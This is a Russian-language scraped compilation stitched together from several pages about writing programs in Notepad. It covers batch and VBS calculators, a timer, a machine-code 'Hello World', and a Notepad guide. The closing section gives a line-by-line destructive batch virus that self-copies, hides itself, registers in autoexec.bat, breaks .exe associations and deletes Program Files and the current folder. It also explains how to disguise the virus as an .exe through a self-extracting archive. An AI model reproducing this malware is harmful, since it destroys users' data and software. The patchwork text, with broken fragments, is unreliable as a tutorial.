4 части:Использование Блокнота для программирования на любом языкеСоздание пакетного файлаСоздание программы на PythonСоздание программы на C Хотите научиться программировать? Вам не нужно навороченное программное обеспечение; Вы сможете работать с любым языком программирования в Блокноте. Функционал не слишком широкий, но отлично подходит для пакетных файлов и тестирования других небольших программ. Вы сможете создать простую программу за несколько минут, но для более сложных программных продуктов, возможно вам стоит подумать о более продвинутом редакторе. ШагиЧасть 1 из 4: Использование Блокнота для программирования на любом языке
Часть 2 из 4: Создание пакетного файла
Часть 3 из 4: Создание программы на Python
Часть 4 из 4: Создание программы на C
|
Как написать программу в блокноте | ЧтоКак.ру
Блокнот – это простой текстовый редактор. С его помощью просматривают документы в формате .txt. Запустить Блокнот можно, нажав «Пуск». Выбрать «Программы» и «Стандартные». В нем можно печатать текст, создавать web-страницы и даже небольшие вирусы. А кто-нибудь задумывался о том, что в простом блокноте можно создать неплохую программку?
Вам понадобится
- Персональный компьютер, установленный блокнот
Инструкция
1
Чтобы создать программу, надо запустить Блокнот. Далее вводите необходимые данные, пишите нужный текст. Он будет зависеть от того, что вы хотите создать. Если этот документ станет страничкой сайта, заполняете все в html-редакторе.
2
Введите, например, mspaint. Сохраните документ под любым именем. Нажимайте «Файл» и «Сохранить как…» Только надо выбрать правильно формат. В «Имя файла» пишите название, а вместо .txt вставляйте нужный вам формат (html, для нашего случая .bat.) Откройте созданный файл. В нем теперь может писать все, что угодно. Вместо «mspaint» Taskmgr-диспетчер задач и прочее, то есть, все зависит от того, какую программу хотите создать.
3
В Блокноте простой текст может стать программой, если правильно выбрать ему формат. Откройте блокнот и напишите следующий код программы:dim a, b, ca = inputbox (“Введите время для таймера”)c=inputbox (“Введите сообщение для таймера”)msgbox “Работает таймер”b=a*1000*60wscript.sleep bmsgbox c.Сохраните документ в формате .vbs. Все, можете запускать свою программку.
4
Написав текст для программы, самое главное сохранить в правильном формате, или расширении. Откройте Блокнот. Введите следующий текст программы:echo offtitle calculator:startclsset expr=»0″set/a answer=0set/p expr=»Enter expression:»set/a answer=%expr%echo Answer: %answer%pausegoto start
5
Данный файл сохраните в расширении .bat или же .cmd. В командной строке можно ввести слово « help». Там вы увидите доступные команды. Чтобы узнать синтаксис, введите в строке “help/?”. Если недоступно какое-то расширение, откройте командную строку и применяйте такую команду, как [type con]. Для сохранения в консоли текста надо нажать такую комбинацию: “Enter и Ctr+Z”. Так что блокнот тоже может создавать программы, пусть не такие огромные и сложные. Обычно в Блокноте сохраняют программы, имеющие расширение *.bat * .cmd , * .vbs.
Как сделать калькулятор в блокноте — MOREREMONTA
- Как написать программу в блокноте
- Как написать программу расчета
- Как создать сайт в блокноте
- Персональный компьютер, установленный блокнот
В Блокноте простой текст может стать программой, если правильно выбрать ему формат. Откройте блокнот и напишите следующий код программы:
a = inputbox (“Введите время для таймера”)
c=inputbox (“Введите сообщение для таймера”)
msgbox “Работает таймер”
Сохраните документ в формате .vbs. Все, можете запускать свою программку.
Написав текст для программы, самое главное сохранить в правильном формате, или расширении. Откройте Блокнот. Введите следующий текст программы:
Не секрет что каждый из нас хоть раз открывал com или exe файлы блокнотом, видел письмена подобные этим:
В целях приподнятия завесы тайны странного наречия и написана эта статья.
Сразу стоит отметить, что символы, приведенные выше, по большей части, не несут смысловой нагрузки в своем начертании. Они являются визуальной формой числового представления. В свою очередь, числовое представление является операционным кодом машинного языка, и хранителем сакрального смысла этих тайных знаков.
Практика
Перейдем к более детальному изучению. Для этого нам понадобится книга написанная в недрах корпорации intel (intel 80386 Programmer’s Reference Manual). Где детально рассказывается о формате инструкций процессора.
Обычно первой программой на любом языке программирования является вывод сообщения «Hello World!». Чтож… Не будем отступать от классики и приступим.
На первом этапе, нам придется опустится как можно ближе к опкодам и написать программу на языке Ассемблера
Язык ассемблера, или просто ассемблер — низкоуровневый язык программирования, использующий мнемоники, инструкции и операнды для представления машинного кода
Википедия
Теперь, имея на руках готовую программу, можно перейти к этапу трансляции.
Трансляция
org 100h
Это просто смещение и код для него не генерируется. Будем использовать 100h для будущего расчета адресов.
mov ah,9h — заносим в регистр ah число 9h.
Переведем в машинные коды. Открываем второй том интеловской книги на странице с инструкцией mov. И видим…
Opcode | Instruction | Clocks | Description |
88 /r | MOV r/m8,r8 | 2/2 | Move byte register to r/m byte |
89 /r | MOV r/m16,r16 | 2/2 | Move word register to r/m word |
89 /r | MOV r/m32,r32 | 2/2 | Move dword register to r/m dword |
8A /r | MOV r8,r/m8 | 2/4 | Move r/m byte to byte register |
8B /r | MOV r16,r/m16 | 2/4 | Move r/m word to word register |
8B /r | MOV r32,r/m32 | 2/4 | Move r/m dword to dword register |
8C /r | MOV r/m16,Sreg | 2/2 | Move segment register to r/m word |
8D /r | MOV Sreg,r/m16 | 2/5,pm=18/19 | Move r/m word to segment register |
A0 | MOV AL,moffs8 | 4 | Move byte at (seg:offset) to AL |
A1 | MOV AX,moffs16 | 4 | Move word at (seg:offset) to AX |
A1 | MOV EAX,moffs32 | 4 | Move dword at (seg:offset) to EAX |
A2 | MOV moffs8,AL | 2 | Move AL to (seg:offset) |
A3 | MOV moffs16,AX | 2 | Move AX to (seg:offset) |
A3 | MOV moffs32,EAX | 2 | Move EAX to (seg:offset) |
B0 + rb | MOV reg8,imm8 | 2 | Move immediate byte to register |
B8 + rw | MOV reg16,imm16 | 2 | Move immediate word to register |
B8 + rd | MOV reg32,imm32 | 2 | Move immediate dword to register |
C6 | MOV r/m8,imm8 | 2/2 | Move immediate byte to r/m byte |
C7 | MOV r/m16,imm16 | 2/2 | Move immediate word to r/m word |
C7 | MOV r/m32,imm32 | 2/2 | Move immediate dword to r/m dword |
Как же выбрать из всего этого множества необходимую команду? Регистр ah является байтным регистром. Плюс нам необходимо занести в регистр число 9. Поэтому выбираем опкод для MOV reg8, imm8, это B0+rb, где rb номер регистра, который можно взять из следующей таблицы.
rb | rb | rd | |
AL | AX | EAX | |
1 | CL | CX | ECX |
2 | DL | DX | EDX |
3 | BL | BX | EBX |
4 | AH | SP | ESP |
5 | CH | BP | EBP |
6 | DH | SI | ESI |
7 | BH | DI | EDI |
Номер регистра ah равен 4. Отсюда B0+4=B4. Число, которое будет занесено в регистр, пишется следом за опкодом инструкции. Таким образом, mov ah, 9h превращается в B4, 9 (запятая поставлена лишь для визуального отделения чисел).
Следующая инструкция mov dx, message . В регистр dx заносим адрес строки message. Пока рассчитать его мы не можем, поэтому поставим временную заглушку. Пользуясь двумя приведенными выше таблицами, получаем опкод для mov dx — BA,100, где 100 является временной мерой.
Теперь транслируем int 21h и int 20h , из приведенной ниже таблицы можно получить нужные опкоды — это CD,21 и CD,20.
Opcode | Instruction | Clocks | Description |
CD ib | INT imm8 | 37 | Interrupt numbered by immediatebyte |
CD ib | INT imm8 | pm=59 | Interrupt—Protected Mode, same privilege |
CD ib | INT imm8 | pm=99 | Interrupt—Protected Mode, moreprivilege |
CD ib | INT imm8 | pm=119 | Interrupt—from V86 mode to PL 0 |
CD ib | INT imm8 | ts | Interrupt—Protected Mode, via task |
Запишем полученную программу: B4, 09, BA, 100, CD, 21, CD, 20 .
Вернемся к нашей заглушке потому, как нам все еще необходимо рассчитать адрес нашей строки для вывода. Теперь это сделать достаточно просто. Посчитаем все пары цифр по порядку. Их девять (число 100h не входит в один байт. Поэтому требуется два). Таким образом, адрес строки будет равен 100h+9h=109h. Заменяем 100h на 109h. Число 109h, по понятным причинам, не может быть помещено в один байт, поэтому понадобиться двухбайтовое значение 09,01 таким образом, получаем следующую программу: B4, 09, BA, 09, 01, CD, 21, CD, 20.
Кодинг
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.
Как сделать программу в блокноте
Автор Ёанька задал вопрос в разделе Другие языки и технологии
Как написать калькулятор в Блокноте? Как можно написать программу «Калькулятор» в блокноте? и получил лучший ответ
Ответ от Имя Фамилия[гуру]
Очень просто. VBScript или Bat. Я думаю первое предпочтительнее и легче. Код написанный в блокноте будет выполнять операционная система. Только расширение файла не забудьте поменять. Команды Вы можете посмотреть в справочнике по программированию — vk. com/ club31319900
А именно добавить в начале команды запуска этой
подробнее.
как установить машины для GTA: San
подробнее.
Как написать программу в Блокноте
Что делать начинающему программисту, если для создания кода у него под рукой нет ничего? Ну, или почти ничего, ведь сам компьютер с установленной на нем операционной системой мы в расчет не принимаем. Вам скажут, что тут поможет Блокнот (Notepad.exe). Поговорим же, как написать программу при помощи чего-нибудь еще.
Сейчас, чтобы программировать на любом языке, принято пользоваться специальными средами программирования. Любая такая среда включает в себя удобный редактор, в котором происходит написание кода, средства отладки и компилятор, а также некоторые утилиты. Но на заре компьютерной эпохи все обстояло не так. Уже трудно представить, что в DOS можно написать текстовый файл без помощи Блокнота. Также без помощи Блокнота можно было создать программу и даже внести «на лету» изменения в коды исполняемых процессов.
Затем, уже с появлением последних версий DOS и первых Windows, стали пользоваться программой-блокнотом. Чтобы написать программу в Паскале или любом другом популярном языке того времени. До сих пор ходит мнение, что настоящие программисты пишут код в Блокноте. Что ж, если вы знаете, как написать программу на том или ином языке, Блокнота будет достаточно, но специализированные средства все же лучше. Работать в них комфортнее и быстрее.
Например, современный Notepad++, или блокнот для программистов, способен подсвечивать команды для кода у более чем 50 языков. Программой очень удобно пользоваться, если вам нужно сохранить файл с определенной кодировкой. UTF-8 без BOM, например, бывает сложно выставить в обычном Блокноте от Microsoft. Notepad++ удобно использовать для написания web-скриптов или текста в HTML, хотя тут справился бы любой другой текстовый редактор.
Среды программирования хороши тем, что написанный код можно сразу трассировать (запустить пошаговое выполнение) в отладчике. Это позволяет быстрее находить ошибки. Ну, и без компилятора не обойтись. Код с командами – это такой же текст, если его не понимает машина. Если только вы не знаете, как написать программу в машинных кодах. Компилятор нужен как раз для того, чтобы перевести программу из языка программирования, понятного для людей, на язык, понятный компьютеру.
Но и Блокнот забывать не стоит. Правда, серьезную и длинную программу вы в нем вряд ли напишете (легко допустить и трудно найти ошибку). Зато в интернете сейчас можно обнаружить множество рецептов, как написать программу в Блокноте, и сохранить ее с расширениями BAT и VBS. Это не совсем программы, на языке операционной системы эти файлы называются исполняемыми. И перед тем, как написать программу, вам необходимо изучить команды для управления из консоли Windows и язык Visual Basic. Иначе придется пользоваться готовыми рецептами.
И не стоит верить, что в Блокноте вы сможете написать полноценный вирус. Творения современных хакеров имеют тысячи строк, немалую долю которых занимают алгоритмы шифрования, защиты и сокрытия исполняемого кода. Маленькая программа-шутка не пройдет через фильтры большинства антивирусов. А если ее защитить, она превратится в большую. И тут вам снова придется учиться, как это сделать, а не искать готовые рецепты.
В общем, сделать программу «из ничего» и правда можно. Но если вы никогда не пробовали, быстро это у вас не получится.
Программа блокнот в Windows
Программа Блокнот является текстовым редактором. Это значит, что данная программа предназначена для работы с текстом. Блокнот – одна из самых простых программ по работе с текстом. В ней мы можем только вводить текст и редактировать его. Изменять шрифт или размер отдельных символов, т.е. производить форматирование текста, в этой программе мы не можем. Но, тем не менее, эта программа может быть полезна, так как она очень проста, документы, созданные в ней, занимают очень немного места, к тому же Блокнот установлен на всех компьютерах с Windows и поэтому документы, созданные в этой программе можно открыть на любом компьютере.
Давайте запустим Блокнот. Для этого щелкаем мышкой по значку программы в папке Стандартные меню Пуск. Откроется окно программы (рис.84).
Рис. 84. Окно программы Блокнот |
Поскольку программа Блокнот очень проста, то имеет смысл на ее примере рассмотреть некоторые элементы интерфейса (внешнего вида), которые вы в дальнейшем будете постоянно встречать в других программах.
Мы с вами уже познакомились с основными элементами окон Windows (рис.40), поэтому многие элементы окна программы Блокнот нам уже известны. В строке заголовка окна выводится значок программы Блокнот, название открытого документа (Безымянный) и название самой программы.
Ниже расположена строка выпадающего меню. Если вы щелкнете мышкой на названии одного из пунктов меню, то вы увидите содержание данного пункта. Например, давайте кликнем левой кнопкой мыши на меню Файл (рис.85).
Рис. 85. Меню Файл |
В каждом таком выпадающем меню находятся инструменты программы. Как вы уже догадались, для удобства работы с программой инструменты разбиты на группы, которые и формируют меню. Как правило, большинство программ имеют выпадающее меню, причем названия меню могут отличаться, но в большинстве случаев вы увидите меню Файл, Правка, Формат, Вид и Справка. Эти меню стали своеобразным стандартом и инструменты, находящиеся в них, часто в различных программах очень схожи.
Теперь давайте рассмотрим инструменты меню Файл. Обратите внимание на то, что напротив некоторых пунктов меню написаны сочетания клавиш, например, напротив пункта Сохранить стоит сочетание CTRL+S. Что такое сочетание клавиш? Помните про клавиши-модификаторы? Так вот, если мы нажмем клавишу Ctrl, которая находится в самом нижнем ряду клавиатуры либо слева, либо около клавиш управления курсором справа, а затем удерживая ее нажатой нажмем еще и клавишу S, то такое действие будет иметь такой же эффект, что и выбор пункта Сохранить в меню Файл. Это значит, что для того чтобы вам проделать какое-либо действие или вызвать необходимый инструмент программы, вам не нужно каждый раз заходить в выпадающие меню и искать инструмент там. Вы можете запомнить сочетание клавиш, которое вызывает этот инструмент, и затем, при необходимости, пользоваться им. Такие сочетания клавиш называют горячими клавишами, так как они позволяют очень быстро получать доступ к необходимым функциям программ. В нашем случае сочетание клавиш Ctrl+S сохранит созданный нами текстовый документ.
„Но“ — скажете вы – „мы ведь еще ничего не создали!“. И да, и нет. Дело в том, что когда мы запустили программу Блокнот, она автоматически создала новый текстовый документ, присвоив ему название – Безымянный. Этот документ пока пустой и он не сохранен, т.е. если мы его закроем, то он не останется на нашем компьютере. Именно поэтому мы можем его сохранить и не важно, что в нем пока нет никакой информации. Многие программы при открытии создают новые документы и вы можете сразу начать работу с программой, не делая лишних движений для создания нового документа.
Итак, мы нажали Ctrl+S или выбрали пункт Сохранить в меню Файл. Открылось окно Сохранить как (рис.86).
Рис. 86. Окно сохранения файла |
Это окно также является стандартным для большинства программ, и вы с ним не раз еще столкнетесь при работе на компьютере. Нам предлагается сохранить наш документ в Библиотеку Документы.
Рис. 87. Название файла |
О Библиотеках поговорим позже, а сейчас давайте просто сохраним наш документ. Для этого нам нужно указать имя файла (документа) в поле Имя файла. Назовем его Текст и нажмем кнопку Сохранить. Обратите внимание на строку заголовка. В нем изменилось название нашего документа (рис. 87).
Как написать калькулятор в Блокноте? Как можно написать программу «Калькулятор» в блокноте?
Написать в блокноте этот текст: «Программа Калькулятор»
в блокноте? А чего сразу не татуировкой на спине?
открываешь блокнот пишешь в нем: calc pause Закрываешь, сохраняешь, ставишь расширение BAT. Запускай, готово!
пишете код, потом через командную строку компилируете и получаете готовую программу…
Здравствуйте! Что бы написать калькулятор, не нужно иметь много знаний, но они бы не помешали. Вот ссылка на обучение создания калькулятора === не в блокноте, но это основы <a rel=»nofollow» href=»http://akak.ru/recipes/9142-kak-sdelat-kalkulyator-v-visual-basic» target=»_blank»>http://akak.ru/recipes/9142-kak-sdelat-kalkulyator-v-visual-basic</a>.
Этот вопрос уже был неоднократно. Смотри пример: <a rel=»nofollow» href=»http://otvet.mail.ru/question/76072743/» target=»_blank»>http://otvet.mail.ru/question/76072743/</a>
ЛЮДИИИИИИИ!!!! Копируешь этот код, вставляешь его в блокнот сохраняешь срасширением bat вместо текстовые документы делаешь все файлы… ну я думаю ты знаешь раз спросил Вот код: @echo off title Calculator color f9 :start echo ========================= echo CALCULATAR echo ========================= echo. set/p sum=pliz vvedite znachenie echo. set/a ans=%sum% echo. echo the answer=%ans% echo ========================= pause cls echo Previos Answer=%ans% echo. goto start
Простой блокнот очень простой 1.)Открываешь блокнот 2.)Пишешь туда start calc.exe 3.)Сохраняешь в режиме название. bat 4,)Открываешь название. bat 5.)Пользуйся!
@echo off tittle Calculator color :start echo ————— echo Welcome to the Calculator echo ————— echo. set /p sum=Please enter the question echo. set /a ans= %sum% echo. echo The Answer = %ans% echo. echo ————— pause cls echo Previous Answer = %ans% echo ————— echo. goto start exit сохроняешь в .bat и всё
А что бы ещё и дроби считал? Как можно сделать. И формулу можно в блокнот запихнуть?
@echo off title Calculator color 03 :start echo ——————— echo Welcome to the Calculator echo ——————— echo. set /p sum=please enter the question: echo. set /a answer=%sum% echo the answer echo. echo ——————— pause cls echo Previous Answer echo ——————— echo. goto start exit
Скопируй скрипт вставь в блокнот и сохрани с расширение .bat echo off title calculator color a :start echo Welcome to the Calculator echo. echo —————————————— set expr=»0″ set/a answer=0 set/p expr=»Enter expression:» set/a answer=%expr% echo Answer: %answer% pause goto start
@echo off chcp 1251 >nul title Калькулятор chcp 886 >nul color 02 :start set expr=»0″ set/a answer=0 set/p expr=»Задайте число» set/a равно=%expr% echo Равно: %равно% pause echo. goto start p.s. нужен формат .bat или .cmd
Как написать вирусы в блокноте? Пример простого вируса
Не думайте, пожалуйста, что знания о том, как пишутся вирусы, нужны только вирусописателям! В целях компьютерной безопасности они не менее важны и простым пользователям. Даже поверхностное понимание того, как написать вирусы в блокноте, поможет защитить компьютер от многих неприятностей.
Пишем вирус в блокноте
Вот так выглядит вирус, набранный в обыкновенном блокноте, который есть в составе любой системы от Microsoft Windows. Но знайте — это сложно назвать вирусом, просто системные команды, они сохраняются в формате .bat. Для изменения расширений, нужно настроить систему:
- Открываем «Компьютер«
- Заходим верхнее в меню «Сервис«, если не видно жмем ALT
- В этом меню заходим в «Сервис» выбираем пункт «Параметры папок«
- Заходим во вкладку «Вид» и ищем пункт «Скрывать расширения для зарегистрированных типов файлов«
- Убираем галочку с этого пункта.
С первого взгляда ничего страшного — всего несколько коротких слов-команд. Но на деле, если поместить этот файл в системную папку «system32\drivers\etc» и прописать его в автозагрузку, чтобы он запускался при загрузке системы, то, после перезапуска компьютера, невозможно будет открыть какую-либо программу или выбрать другое действие на рабочем столе. Не рекомендуется повторять эти действия, если нет навыков работы с системным реестром!
Вместо telnetdrive.bat попробуйте вписать безопасные команды для запуска: Calc (калькулятора), Taskmgr (диспетчера задач) или Mspaint (программы рисования)
С чего начать
Пришло время изучить небольшую общую инструкцию по «изготовлению» таких файлов.
- Первым делом открываем блокнот;
- Заносим туда команды, т.е. создаём в нём «тело» вируса;
- Сохраняем свой труд через Файл -> Сохранить как;
- Теперь осталось изменить расширение файла .txt на .bat и, вместо сохранённого названия, вписать нужное, которое будет использоваться.
Создаём первый файл-вирус
Простой вирус написан и сохранён в файл. Теперь бы неплохо узнать, что же прописали в тело вируса, сохранённого в файле.
Начинаем разбираться по порядку с первой строки:
- @Echo off – без этой команды всё, что написано, высвечивалось бы на экране монитора.
- Date11.14 – указывает на дату создания.
- If exist c:sky.bat goto abc – проверка существования на диске С файла sky.bat и если его нет
- Copy %0 c:sky.bat – размножает себя, изменив первоначальное имя файла на sky.bat
- Attrib +h c:sky.bat – скрывает созданный файл от посторонних глаз.
- Echo c:sky.bat >>autoexec.bat – вирус прописывается в автозагрузку.
- :abc – если он есть, выполнение программы перейдёт сюда.
Далее идут небольшие шалости:
- md CRECK – создаёт нужную или ненужную папку, смотря какая цель у создателя вируса.
- md NEW – такими папками можно заполнить весь жёсткий диск у пользователя.
- Label E: LUZER – прописывает название логического диска Е. В данном случае LUZER.
- assoc .exe=.mp3 – расширение .exe будет ассоциироваться, как .mp
- del c:Program Files /q –всё, что было в папке Program Files удалится.
- del *.* /q – из каталога, где находится вирус, удалится всё, кроме папки с самим вирусом.
Повеселились достаточно, подумаем и о законе:
- del %0 – вирус наделает дел и удалит сам себя.
Осталось последнее, узнать, как же его прячут. Просто! Переформатируют файл из расширения .bat в .exe при помощи архиватора WinRAR. При создании архива помечают – «Создать архив SFX» и устанавливают отметку «Выполнить после распаковки». Естественно, указывают настоящее имя, под которым создан вирус.